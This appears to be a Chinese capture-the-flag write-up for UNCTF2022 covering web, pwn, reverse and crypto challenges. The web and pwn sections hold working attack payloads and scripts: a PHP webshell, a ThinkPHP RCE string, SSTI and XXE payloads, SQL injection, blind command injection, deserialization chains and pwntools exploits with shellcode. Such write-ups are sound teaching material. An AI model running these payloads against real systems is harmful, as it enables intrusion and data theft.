为深入贯彻习近平总书记关于二十大提出的网络强国的重要思想,围绕建设网络强国的战略部署,建设网络强国的战略部署要与“两个一百年”奋斗目标同步推进,由御之安承办UNCTF2022网络安全大赛(以下简称“大赛”)将于今年11月份召开,以赛事为契机,提升网络安全保障能力,汇聚高端网络安全人才,共筑网络安全防线,为中国网络安全事业发展提供智力支撑和保障。
线上报名:2022年10月24日10:00-11月11日10:00,比赛时间:2022年11月12日12:00-11月18日12:00
Rank: 1
# Web 我太喜欢bilibili大学啦 phpinfo页面环境变量中直接泄露flag。
ezgame 简单的游戏~ 打过boss就能获得flag
F12查看js,在main.js里搜索 unctf
,在混淆js代码中找到flag片段,连接起来得:unctf{c5f9a27d-6f88-49fb-a510-fe7b163f8dd3}
。
签到 又是一道简单的签到
F12发现注释有学号 20200101
为账号密码,尝试 20200102/20200103/20200104/20200105
分别回显 f/l/a/g
,脚本遍历提取:
1 2 3 4 5 6 7 8 9 import requestsurl = 'http://365172a3-2701-4e1a-8f59-a548f14e7027.node.yuzhian.com.cn/index.php' flag = '' for i in range (20200102 ,20200102 +40 ): data = {'username' :f'{i} ' ,'password' :'' } r = requests.post(url,data=data) flag += r.text[-5 ][0 ] print (flag)
babyphp 弱类型比较。第一层,16进制0x绕过;第二层,数组绕过;第三层,用其他命令和通配符绕过RCE。
Payload:
/index.php?code=print_r(exec("uniq%09/fl*"));
,POST:a=0x&key1[]=a&key2[]=b
easy_upload 简简单单的文件上传
无过滤的文件上传。上传一个 1.php
,内含 <?php system($_GET[x]);
,再访问传入命令RCE。
Payload:/uplO4d/1.php?x=cat%20/home/ctf/flag
给你一刀 ThinkPHP 5.0.x未开启强制路由RCE漏洞。
Payload: ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=env
flag: UNCTF{Y0u_A3r_so_G9eaD_hacker}
302与深大 thai想让你知道szu的战队……吗,醒醒,这个页面不是主页!
Request头的考察。
1 2 3 /?miku=puppy POST: micgo=ikun Cookie: admin=true
flag: UNCTF{thai_miku_micgo_qka_WEB_GOD}
easy ssti php看腻了,来点python吧
基本无过滤的SSTI。
Payload:
/register
,POST:user={{cycler.__init__.__globals__.os.popen('env').read()}}&pwd=
听说php有一个xxe XXE。先访问 /hint
,再访问 /dom.php
,根据 DOMDocument::loadXML()
信息,POST一个XML数据读flag:
1 2 3 4 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:///flag"> ]> <creds>&goodies;</creds>
ezunseri 好像还没有反序列化的题目?
反序列化链:Login:__destruct() => Exec:__get() => Test:__toString() => Exec:__invoke() => Exec:execute()
构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from phpserialize import serializefrom urllib.parse import quoteclass Exec : public_content='system("cat /flag");' class Test : public_test=Exec() public_key='?' class Exec : public_content=Test() class Login : private_name='' public_code='3.1415926' public_key=Exec() print (quote(serialize(Login())))
poppop 反序列化链:B:__destruct() => C:__toString() => A:__call()
构造:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from phpserialize import serializefrom urllib.parse import quoteclass A : public_code='system("env");' ; class C : private_key2=A() class B : public_key=C() print (quote(serialize(B())))
babynode 你能污染对象吗
原型链污染。
Payload:
POST: {"__proto__":{"id":"unctf"}}
easy_rce rce布尔盲注
无回显RCE,可以采用 if+head+cut+sleep
方式逐位猜解flag各个字符。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsimport stringimport timeurl = 'http://c88b47e2-7088-4011-8d20-f4e5677e765e.node.yuzhian.com.cn/?code=' dic = string.ascii_letters+string.digits+'{-}' flag = '' for i in range (1 ,50 ): judge = 0 for j in dic: now = f'{url} a=$(tac /f?ag | head -1 | cut -b {i} )%0aif [ $a = {j} ]%0athen sleep 2%0afi' start = time.time() r = requests.get(now) end = time.time() if int (end)-int (start) > 1 : judge = 1 flag += j print (flag) break if judge == 0 : break print (flag)
随便注 好像见过,又好像不是
sqlmap能跑出:
1 2 3 4 5 sqlmap -u "http://86c207df-b12e-47cb-b6a5-bb33e69a5381.node.yuzhian.com.cn/?id=1" --dbs sqlmap -u "http://86c207df-b12e-47cb-b6a5-bb33e69a5381.node.yuzhian.com.cn/?id=1" -D ctftraining --tables sqlmap -u "http://86c207df-b12e-47cb-b6a5-bb33e69a5381.node.yuzhian.com.cn/?id=1" -D ctftraining -T FLAG_TABLE --sql-shell sql-shell> select load_file("/flag" );
ez2048 F12在game.js内查看关键代码,为首页invite_code验证逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 checkInvited ( ) { let args = [...arguments ]; let buf = new ArrayBuffer (24 ); const view = new DataView (buf); view.setUint8 (0 , 68 ); view.setUint8 (1 , 51 ); view.setUint8 (2 , 15 ); view.setUint8 (3 , 80 ); view.setUint16 (4 , 0x0e5d , true ); view.setUint16 (6 , 0x323a , true ); view.setUint16 (8 , 0x3058 , true ); view.setUint16 (10 , 0x1a2a , true ); view.setUint32 (12 , 0x0512160d , true ); view.setUint32 (16 , 0x02560002 ); view.setUint32 (20 , 0x130000 ); function check (code ) { if (code.length !== 24 ) return false ; let encode = []; for (let i = 0 ; i < code.length ; i++) { if (~i % 2 === 0 ) { encode.push (code.charCodeAt (i) ^ code.charCodeAt (i - 2 )); } else { encode.push (code.charCodeAt (i) ^ code.charCodeAt (i + 1 )); } } for (let i = 0 ; i < code.length ; i++) { if (view.getInt8 (i) !== encode[i]) return false ; } return true ; } return function ( ) { if (!!arguments .length ) { [].push .apply (args, arguments ); return arguments .callee ; } return check (args.join ("" )); }; }
写简单脚本还原输入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 c = [68 ,51 ,15 ,80 ,93 ,14 ,58 ,50 ,88 ,48 ,42 ,26 ,13 ,22 ,18 ,5 ,2 ,86 ,0 ,2 ,0 ,19 ,0 ,0 ] print (len (c))t = [-1 ]*24 t[1 ] = c[1 ] t[0 ] = t[1 ]^c[0 ] for i in range (3 ,24 ,2 ): t[i] = t[i-2 ]^c[i] t[i-1 ] = t[i]^c[i-1 ] print (bytes (t))
再观察发现存在game.wasm,使用wabt工具逆wasm得到密文 \x22}/7v\x16\x0d>GV&*\x5cS@^mWS_D~V\x10\x03[3\x16^\x0eR9\x05_mG\x10\x1efalse\x00
,尝试与前面得到的invite_code异或,得到 UNCTF{hap9y_2048_game_w1th_unc7f2022~}..^CW2
。
世界和平 提示1:堆叠注入
根据提示进行堆叠注入:
1 2 3 4 5 0;show databases;# 数据库名 score_mbamission/score_minnesotaunited/snert 0;show tables;# 表名 Flag/users
使用 0;select * from Flag
查找Flag表中内容,发现无回显,猜测对 select
或 from
或 Flag
有过滤。
尝试 0;seLseLectect version();#
,只用 select
大写+双写可以绕过得到内容,则
再用 0;seLseLectect * fRfRomom FlFlagag;#
即可拿到flag。
快乐三消 打CTF累了来玩三消放松一下叭
查看源码,除了进入 /h5/index.php
和 /h4/king.php
,没有其他有用信息。
扫目录发现 /.git/
和 /admin/
,用GitHack还原出 index.php
和 phpinfo.php
,无有用信息。
用 admin/unctf
进入后台页面, 在网页预览功能发现url为 /admin/fi.php?filename=index.php
,尝试发现存在文件包含漏洞,访问 /admin/fi.php?filename=/flag
得到flag。
# Pwn welcomeUNCTF2022 easy easy easy Pwn
签到pwn。
1 2 3 4 5 from pwn import *r = remote('node.yuzhian.com.cn' ,37591 ) r.sendline('UNCTF&2022\x00' ) r.sendline('cat /flag' ) print (r.recvall())
石头剪刀布 伪随机数组,给了srand种子值,依照代码逻辑求出固定种子值下的100个rand值:
[1,1,2,2,0,2,2,1,2,2,2,2,0,0,2,1,0,1,2,0,0,1,1,1,1,2,1,1,1,0,0,2,0,1,2,0,0,1,0,2,1,2,1,2,0,1,1,1,0,0,2,0,2,1,2,1,0,0,2,2,1,1,2,1,2,2,2,2,1,0,2,0,2,0,0,1,2,2,2,0,0,1,0,1,0,0,2,0,1,0,0,2,1,1,1,1,0,1,1,2]
再根据石头剪刀布规则完成后半部分交互:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *r = remote('node.yuzhian.com.cn' ,30253 ) rand = [1 ,1 ,2 ,2 ,0 ,2 ,2 ,1 ,2 ,2 ,2 ,2 ,0 ,0 ,2 ,1 ,0 ,1 ,2 ,0 ,0 ,1 ,1 ,1 ,1 ,2 ,1 ,1 ,1 ,0 ,0 ,2 ,0 ,1 ,2 ,0 ,0 ,1 ,0 ,2 ,1 ,2 ,1 ,2 ,0 ,1 ,1 ,1 ,0 ,0 ,2 ,0 ,2 ,1 ,2 ,1 ,0 ,0 ,2 ,2 ,1 ,1 ,2 ,1 ,2 ,2 ,2 ,2 ,1 ,0 ,2 ,0 ,2 ,0 ,0 ,1 ,2 ,2 ,2 ,0 ,0 ,1 ,0 ,1 ,0 ,0 ,2 ,0 ,1 ,0 ,0 ,2 ,1 ,1 ,1 ,1 ,0 ,1 ,1 ,2 ] need = [] for i in range (100 ): if rand[i] == 0 : need.append(2 ) elif rand[i] == 1 : need.append(0 ) elif rand[i] == 2 : need.append(1 ) r.recvuntil('pwn later?(y/n)\n' ) r.sendline('y' ) for i in range (100 ): print (r.recvuntil(']\x1B[0m\n' )) r.sendline(str (need[i])) print (i,r.recvline()) r.interactive()
checkin 测试符合条件的数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include <stdio.h> #include <stdlib.h> typedef unsigned int uint32;#define _DWORD uint32 #define LODWORD(x) (*((_DWORD*)&(x))) int main () { size_t nbytes; char nptr[32 ]=" -33" ; LODWORD(nbytes) = atoi(nptr); printf ("%d\n" ,atoi(nptr)); printf ("%x\n" ,nptr[0 ]); if ( atoi(nptr) > 32 || nptr[0 ] == 0x2D ) { puts ("No!!Hacker" ); } printf ("%u" ,(unsigned int )nbytes); return 0 ; }
交互:
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *r = remote('node.yuzhian.com.cn' ,39482 ) r.recvuntil('name: \n' ) r.send('xx' ) r.recvuntil('size: \n' ) r.send(' -33' ) pl = 'a' *(0x50 +8 )+p64(0x4008c3 ) r.send(pl) r.interactive()
int 0x80 easy easy easy Pwn
ret2shellcode,其中的 __ctype_b_loc
函数的作用可参考 ctype/ctype.h
源码,将输入的字符根据
((bit) < 8 ? ((1 << (bit)) << 8) : ((1 << (bit)) >> 8))
进行处理,然后根据下面表对应的内容返回。参考 2021 天翼杯 pwn ezshell 。
s[i] & 0x4000 != 0
意思即要求的输入字符是可见字符。
参考 mrctf2020_shellcode_revenge ,使用全可见字符shellcode输入即可:
1 2 3 4 5 6 7 8 9 10 from pwn import *r = remote('node.yuzhian.com.cn' ,32261 ) r.recvline() r.send('Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t' ) r.interactive()
# Reverse whereisyourkey 你能找到属于你的key吗?
简单替换加密。
1 2 3 4 5 6 7 8 9 10 11 s = [121 , 101 , 115 , 105 , 97 , 107 , 102 , 108 , 97 , 103 ] for i in range (len (s)): if s[i] == 109 : pass elif s[i] <= 110 : s[i] -= 2 elif s[i] > 111 : s[i] += 3 print (bytes (s))
ezzzzre re签到题
exeinfo发现UPX壳,脱壳后,IDA中分析逻辑,顺着实现得flag:
1 2 3 4 5 s = list (b'HELLOCTF' ) out = [2 *k-69 for k in s] print (bytes (out))
Sudoku 数独判定逻辑。直接运行显示的数独是错的,动调获取正确的数独初始数组,找个在线网站解了后填入为:
[8, 5, 2, 4, 9, 1, 6, 7, 3, 1, 9, 6, 7, 3, 8, 2, 5, 4, 4, 3, 7, 5, 6, 2, 9, 1, 8, 5, 2, 8, 1, 4, 6, 3, 9, 7, 3, 7, 4, 9, 2, 5, 8, 6, 1, 9, 6, 1, 3, 8, 7, 4, 2, 5, 2, 1, 9, 8, 5, 4, 7, 3, 6, 7, 4, 3, 6, 1, 9, 5, 8, 2, 6, 8, 5, 2, 7, 3, 1, 4, 9]
依次输入后得到
Y0u_Ar3_R1ght!Th1s_1s_your_f1aaag!
UNCTF{chr(29+vme)chr(15+vme)chr(29+vme)chr(24+vme)chr(39+vme)chr(25+vme)chr(29+vme)chr(20+vme)chr(32+vme)}
其中 vme=50
,即flag:UNCTF{OAOJYKOFR}
。
halo exeinfo发现UPX壳,脱壳后,IDA中分析逻辑,为两轮异或,还原:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 s = [85 , 11 , 104 , 12 , 115 , 62 , 12 , 58 , 93 , 27 , 33 , 117 , 79 , 32 , 76 , 113 , 88 , 123 , 89 , 44 , 0 , 119 , 88 , 119 , 14 , 114 , 91 , 38 , 11 , 112 , 10 , 119 , 102 , 119 , 54 , 118 , 55 , 118 , 98 , 114 , 109 , 39 , 63 , 119 , 38 , 38 ] s = [s[i]^0x33 for i in range (len (s))] print (s)for i in range (len (s)-1 ,0 ,-1 ): s[i] ^= s[i-1 ]^i print (bytes (s))
HelloRust 快来逆逆这一坨答辩罢
IDA打开,分析代码逻辑,识别为RC4算法,找到密文hex值 876927216FC731261B6C3A749A626EA002811D85E0E2D071F4A3090E
,以及key值 UnCtF2022
,
使用Cyberchef得到flag明文:unctf{Ru5t_Rc4_1s_2_e@zy!!!}
。
ezast 你会ast吗
JavaScript抽象语法树(AST),定位密文 OTYN\\\\a[inE+iEl.hcEo)ivo+g
,且中间运算包含异或操作,尝试使用Cyberchef异或爆破,发现在key=0x1a时,得到flag:UNCTF{Ast_1s_v4ry_u3slu1}
。
HUAQIANG 深育杯原题 生瓜蛋子,参考官方wp ,代码逻辑为一个VM,逐位爆破flag每位的可行值,得到满足条件的输入:998bc64bbd919f27f44e5e2750644c
。
# Crypto md5-1 爆破可见字符得到md5表,再依次遍历密文取出相应字符。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from hashlib import md5c = '''4c614360da93c0a041b22e537de151eb 8d9c307cb7f3c4a32822a51922d1ceaa 0d61f8370cad1d412f80b84d143e1257 b9ece18c950afbfa6b0fdbfa4ff731d3 800618943025315f869e4e1f09471012 f95b70fdc3088560732a5ac135644506 e1671797c52e15f763380b45e841ec32 c9f0f895fb98ab9159f51fd0297e236d a87ff679a2f3e71d9181a67b7542122c 8fa14cdd754f91cc6554c9e71929cce7 e1671797c52e15f763380b45e841ec32 8277e0910d750195b448797616e091ad cfcd208495d565ef66e7dff9f98764da c81e728d9d4c2f636f067f89cc14862c c9f0f895fb98ab9159f51fd0297e236d 92eb5ffee6ae2fec3ad71c777531578f 45c48cce2e2d7fbdea1afc51c7c6ad26 cfcd208495d565ef66e7dff9f98764da a87ff679a2f3e71d9181a67b7542122c 1679091c5a880faf6fb5e6087eb1b2dc 8fa14cdd754f91cc6554c9e71929cce7 4a8a08f09d37b73795649038408b5f33 cfcd208495d565ef66e7dff9f98764da e1671797c52e15f763380b45e841ec32 c9f0f895fb98ab9159f51fd0297e236d 8fa14cdd754f91cc6554c9e71929cce7 cfcd208495d565ef66e7dff9f98764da c9f0f895fb98ab9159f51fd0297e236d cfcd208495d565ef66e7dff9f98764da e1671797c52e15f763380b45e841ec32 45c48cce2e2d7fbdea1afc51c7c6ad26 1679091c5a880faf6fb5e6087eb1b2dc e1671797c52e15f763380b45e841ec32 8f14e45fceea167a5a36dedd4bea2543 c81e728d9d4c2f636f067f89cc14862c c4ca4238a0b923820dcc509a6f75849b c9f0f895fb98ab9159f51fd0297e236d a87ff679a2f3e71d9181a67b7542122c cbb184dd8e05c9709e5dcaedaa0495cf''' .split('\n' )s = list (range (32 ,127 )) t = {} for k in s: t[md5(chr (k).encode()).hexdigest()] = chr (k) flag='' for k in c: flag += t[k] print (flag)
dddd 1换为 .
,0换为 -
,摩斯密码解密得:UNCTF{Y4S_TH1S_JUST_M0RSE}
。
caesar ROT64变种凯撒密码,用脚本还原:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import strings = 'B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY_}' dic = string.ascii_uppercase+string.ascii_lowercase+string.digits+'+/' print (dic)d = ord ('U' )-ord ('B' ) t = '' for i in range (len (s)): if s[i] == '{' or s[i] == '}' or s[i] == '_' : t += s[i] else : t += dic[(dic.index(s[i])+d)%64 ] print (t)
md5-2 比md5-1多了一层异或操作,还原即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from hashlib import md5c = '''4c614360da93c0a041b22e537de151eb c1fd731c6d60040369908b4a5f309f41 80fdc84bbb5ed9e207a21d5436efdcfd b48d19bb99a7e6bb448f63b75bc92384 39eaf918a52fcaa5ed9195e546b021c1 795d6869f32db43ff5b414de3c235514 f59a054403f933c842e9c3235c136367 c80b37816048952a3c0fc9780602a2fa 810ecef68e945c3fe7d6accba8b329bd cad06891e0c769c7b02c228c8c2c8865 470a96d253a639193530a15487fea36f 470a96d253a639193530a15487fea36f 4bdea6676e5335f857fa8e47249fa1d8 810ecef68e945c3fe7d6accba8b329bd edbb7ab78cde98a07b9b5a2ab284bf0a 44b43e07e9af05e3b9b129a287e5a8df a641c08ed66b55c9bd541fe1b22ce5c0 abed1f675819a2c0f65c9b7da8cab301 738c486923803a1b59ef17329d70bbbd 7e209780adf2cd1212e793ae8796ed7c a641c08ed66b55c9bd541fe1b22ce5c0 a641c08ed66b55c9bd541fe1b22ce5c0 636a84a33e1373324d64463eeb8e7614 6ec65b4ab061843b066cc2a2f16820d5 a4a39b59eb036a4a8922f7142f874114 8c34745bd5b5d42cb3efe381eeb88e4b 5b1ba76b1d36847d632203a75c4f74e2 d861570e7b9998dbafb38c4f35ba08bc 464b7d495dc6019fa4a709da29fc7952 8eb69528cd84b73d858be0947f97b7cc dd6ac4c783a9059d11cb0910fc95d4a 4b6b0ee5d5f6b24e6898997d765c487c b0762bc356c466d6b2b8f6396f2e041 8547287408e2d2d8f3834fc1b90c3be9 82947a7d007b9854fa62efb18c9fd91f 8ddafe43b36150de851c83d80bd22b0a c7b36c5f23587e285e528527d1263c8b 2a0816e8af86e68825c9df0d63a28381 63ce72a42cf62e6d0fdc6c96df4687e3''' .split('\n' )cc = [int (k,16 ) for k in c] for i in range (1 ,len (cc)): cc[i] ^= cc[i-1 ] cc = [hex (k)[2 :].rjust(32 ,'0' ) for k in cc] print (cc)s=list (range (32 ,127 )) t={} for k in s: t[md5(chr (k).encode()).hexdigest()]=chr (k) flag = '' for k in cc: flag += t[k] print (flag)
ezRSA 常规RSA。
1 2 3 4 5 6 7 8 9 10 11 import gmpy2n = 62927872600012424750752897921698090776534304875632744929068546073325488283530025400224435562694273281157865037525456502678901681910303434689364320018805568710613581859910858077737519009451023667409223317546843268613019139524821964086036781112269486089069810631981766346242114671167202613483097500263981460561 e = 65537 c = 56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504 p = gmpy2.iroot(n,4 )[0 ] f = p**3 *(p-1 ) d = inverse_mod(e,f) m = pow (c,d,n) print (bytes .fromhex(hex (m)[2 :]))
Single table 读加密方式,明显的playfair密码。
按照key排列好字母表,手动把每两个字母取出解密后,排列为 UNCTFGODYOUKNOWPLAYFAIRX
,在适当的地方加符号分割单词:UNCTF{GOD_YOU_KNOW_PLAYFAIR}
。
Multi table 变表维吉尼亚密码,先根据前4字符确定key值,再遍历爆破。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from string import ascii_uppercasebase_table = ['J' , 'X' , 'I' , 'S' , 'E' , 'C' , 'R' , 'Z' , 'L' , 'U' , 'K' , 'Q' , 'Y' , 'F' , 'N' , 'V' , 'T' , 'P' , 'O' , 'G' , 'A' , 'H' , 'D' , 'W' , 'M' , 'B' ] table={} for i in range (26 ): table[i]=ascii_uppercase[i:]+ascii_uppercase[:i] ori = 'UNCT' res = 'SDCG' key = [] for i in range (4 ): for k,v in table.items(): if v[base_table.index(ori[i])] == res[i]: key.append(k) break print (key)c = 'SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}' flag = '' x = 0 for i in range (len (c)): if c[i] in ascii_uppercase: now = table[key[x%4 ]].index(c[i]) flag += base_table[now] x += 1 else : flag += c[i] print (flag)
babyRSA 泄露 $m$ 高位的Coppersmith攻击。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 n = 25300208242652033869357280793502260197802939233346996226883788604545558438230715925485481688339916461848731740856670110424196191302689278983802917678262166845981990182434653654812540700781253868833088711482330886156960638711299829638134615325986782943291329606045839979194068955235982564452293191151071585886524229637518411736363501546694935414687215258794960353854781449161486836502248831218800242916663993123670693362478526606712579426928338181399677807135748947635964798646637084128123883297026488246883131504115767135194084734055003319452874635426942328780711915045004051281014237034453559205703278666394594859431 c = 15389131311613415508844800295995106612022857692638905315980807050073537858857382728502142593301948048526944852089897832340601736781274204934578234672687680891154129252310634024554953799372265540740024915758647812906647109145094613323994058214703558717685930611371268247121960817195616837374076510986260112469914106674815925870074479182677673812235207989739299394932338770220225876070379594440075936962171457771508488819923640530653348409795232033076502186643651814610524674332768511598378284643889355772457510928898105838034556943949348749710675195450422905795881113409243269822988828033666560697512875266617885514107 e = 6 mbar = 11941439146252171444944646015445273361862078914338385912062672317789429687879409370001983412365416202240 kbits = 60 nbits = n.nbits() print ("upper {} bits of {} bits is given" .format (nbits - kbits, nbits))PR.<x> = PolynomialRing(Zmod(n)) f = (mbar + x)^e - c x0 = f.small_roots(X=2 ^kbits, beta=0.4 )[0 ] m = mbar + x0 print (bytes .fromhex(hex (m)[2 :]))
easy_RSA 泄露 $p$ 高位的Coppersmith攻击。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 c = 6423951485971717307108570552094997465421668596714747882611104648100280293836248438862138501051894952826415798421772671979484920170142688929362334687355938148152419374972520025565722001651499172379146648678015238649772132040797315727334900549828142714418998609658177831830859143752082569051539601438562078140 n = 102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553 p4 = 8183408885924573625481737168030555426876736448015512229437332241283388177166503450163622041857 e = 0x10001 pbits = 512 kbits = 200 print (p4.nbits())p4 = p4 << kbits PR.<x> = PolynomialRing(Zmod(n)) f = x + p4 roots = f.small_roots(X=2 ^kbits, beta=0.4 ) p = p4+int (roots[0 ]) q = n//p f = (p-1 )*(q-1 ) d = inverse_mod(e,f) m = pow (c,d,n) print (bytes .fromhex(hex (m)[2 :]))
ezxor 你知道多次一密吗?
多次一密(MTP)攻击。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import stringimport collectionsimport sets, sysciphers = '''1c2063202e1e795619300e164530104516182d28020005165e01494e0d 2160631d325b3b421c310601453c190814162d37404510041b55490d5d 3060631d325b3e59033a1252102c560207103b22020613450549444f5d 3420277421122f55067f1207152f19170659282b090b56121701405318 212626742b1434551b2b4105007f110c041c7f361c451e0a02440d010a 75222a22230877102137045212300409165928264c091f131701484f5d 21272d33661237441a7f005215331706175930254c0817091b4244011c 303c2674311e795e103a05520d300600521831274c031f0b160148555d 3c3d63232909355455300752033a17175e59372c1c0056111d01474813 752b22272f1e2b10063e0816452b1e041c593b2c02005a450649440110 396e2f3d201e795f137f07130c2b1e450510332f4c08170e17014d481b''' .split('\n' )def strxor (a, b ): return "" .join([chr (ord (x) ^ ord (y)) for (x, y) in zip (a, b)]) def target_fix (target_cipher ): print '-------begin-------' final_key = [None ]*150 known_key_positions = set () for current_index, ciphertext in enumerate (ciphers): counter = collections.Counter() for index, ciphertext2 in enumerate (ciphers): if current_index != index: for indexOfChar, char in enumerate (strxor(ciphertext.decode('hex' ), ciphertext2.decode('hex' ))): if char in string.printable and char.isalpha(): counter[indexOfChar] += 1 knownSpaceIndexes = [] for ind, val in counter.items(): if val >= 7 : knownSpaceIndexes.append(ind) xor_with_spaces = strxor(ciphertext.decode('hex' ),' ' *150 ) for index in knownSpaceIndexes: final_key[index] = xor_with_spaces[index].encode('hex' ) known_key_positions.add(index) final_key_hex = '' .join([val if val is not None else '00' for val in final_key]) output = strxor(target_cipher.decode('hex' ),final_key_hex.decode('hex' )) print "Fix this sentence:" print '' .join([char if index in known_key_positions else '*' for index, char in enumerate (output)])+"\n" print '------end------' for i in ciphers: target_fix(i)
补全可能的明文单词,反复尝试得到key:UNCTF{Y0u_are_very_Clever!!!}
。
今晚吃什么 全部大写
10000
换 A
,00000
换 B
,培根密码解得 CRYPROISFUN
。
Today_is_Thursday_V_me_50 按代码逻辑还原即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import randomimport itertoolsfrom Crypto.Util.number import *from Crypto.Util.strxor import strxorname = "unctf" key1 = b'Today_is_Thursday_V_me_50' key1_num = bytes_to_long(key1) c = b'Q\x19)T\x18\x1b(\x03\t^c\x08QiF>Py\x124DNg3P' random.seed(key1_num) message = b'' for i in c: temp_num = random.randint(1 ,128 ) message += long_to_bytes(temp_num ^ i) guess = [i for i in itertools.permutations(name, 5 )] for i in range (4 ): what = guess.pop(50 ) name = '' .join(j for j in what) mask = strxor(5 *name.encode(),key1) print (mask)out = strxor(mask,message) print (out)
Fermat 已知 $g+x=x \cdot p$,则 $g=x(p-1)$,结合费马小定理,有
$a^g \bmod p = a^{ x(p-1)} \bmod p = (a^x)^{(p-1)} \bmod p = 1$ ($a$ 为任意整数)
取 $a=2$,即 $2^g \bmod p = 1$,$2^g-1=k_1p$,
而 $2^g \bmod p = (2^g \bmod n) \bmod p=1$,则 $2^g \bmod n = 1+k_2p$,
故 $(2^g \bmod n)-1=k_2p$ 也是 $p$ 的倍数,则有 $p=\gcd\Big((2^g \bmod n)-1,n\Big)$。
1 2 3 4 5 6 7 8 9 10 11 12 13 n = 19793392713544070457027688479915778034777978273001720422783377164900114996244094242708846944654400975309197274029725271852278868848866055341793968628630614866044892220651519906766987523723167772766264471738575578352385622923984300236873960423976260016266837752686791744352546924090533029391012155478169775768669029210298020072732213084681874537570149819864200486326715202569620771301183541168920293383480995205295027880564610382830236168192045808503329671954996275913950214212865497595508488636836591923116671959919150665452149128370999053882832187730559499602328396445739728918488554797208524455601679374538090229259 c = 388040015421654529602726530745444492795380886347450760542380535829893454552342509717706633524047462519852647123869277281803838546899812555054346458364202308821287717358321436303133564356740604738982100359999571338136343563820284214462840345638397346674622692956703291932399421179143390021606803873010804742453728454041597734468711112843307879361621434484986414368504648335684946420377995426633388307499467425060702337163601268480035415645840678848175121483351171989659915143104037610965403453400778398233728478485618134227607237718738847749796204570919757202087150892548180370435537346442018275672130416574430694059 g = 28493930909416220193248976348190268445371212704486248387964331415565449421099615661533797087163499951763570988748101165456730856835623237735728305577465527656655424601018192421625513978923509191087994899267887557104946667250073139087563975700714392158474439232535598303396614625803120915200062198119177012906806978497977522010955029535460948754300579519507100555238234886672451138350711195210839503633694262246536916073018376588368865238702811391960064511721322374269804663854748971378143510485102611920761475212154163275729116496865922237474172415758170527875090555223562882324599031402831107977696519982548567367160 e = 0x10001 p = gcd(pow (2 ,g,n)-1 ,n) q = n//p f = (p-1 )*(q-1 ) d = inverse_mod(e,f) m = pow (c,d,n) print (bytes .fromhex(hex (m)[2 :]))
超级加倍 根据”加倍“,脑洞大猜小指数 $e$ 攻击,开方即可。
1 2 3 4 5 6 import gmpy2c=364948328635256862807658970246807356738683637564484151183420122283833769442806688034764747801289594899501872549412387392353830842750341246881725380294423193634163908298756097744423833369487321345708403908358587818931161805853745707954962941881920962518131654701890269025702523666873057795301975752113492236398361724355733200822450695761 m=gmpy2.iroot(c,4 )[0 ] print (bytes .fromhex(hex (m)[2 :]))
EZcry 提示1:流密码
密文:dd9f58b37289edc2c40133ab9f0439c140aafe7cfd501f8c3d79b1856c9bda598ce34a02a57c
,
key:12345678
根据提示测试常见流密码,RC4成功解出 flag{83e429d991d24c548b9dbd256975d0d5}
。
easy_lfsr 你能求出我的mask吗
根据512级LFSR连续1024个bit的产出,求掩码。
由于LFSR的性质,每一次生成的bit都会加到向量的最低位,同时丢弃掉最高位bit。于是在连续512次生成之后,原有的 KEY 所有的位都被丢弃,LFSR的状态会转为已知的512个bit,即所给出的串的前512位。之后完全知道了LFSR的状态,只需要在已知状态的情况下推出掩码。
每连续512个bit可以生成下一个bit。已知这512个 bit,也知道下一个bit,但掩码未知。问题等价于:在 $\text{GF}(2)$ 上,512位的已知的状态向量,点乘512位的掩码向量,得到的数已知,求掩码向量。状态向量有512维,则有512组方程。
解方程组的问题转化为矩阵求逆问题。把LFSR状态逐行写在矩阵上,形成的矩阵记为 $M$,把LFSR每次所生成的结果拼成的向量记为 $T$,则掩码向量 $v$ 有:$M \cdot v = T$,即 $v=M^{-1} \cdot T$。
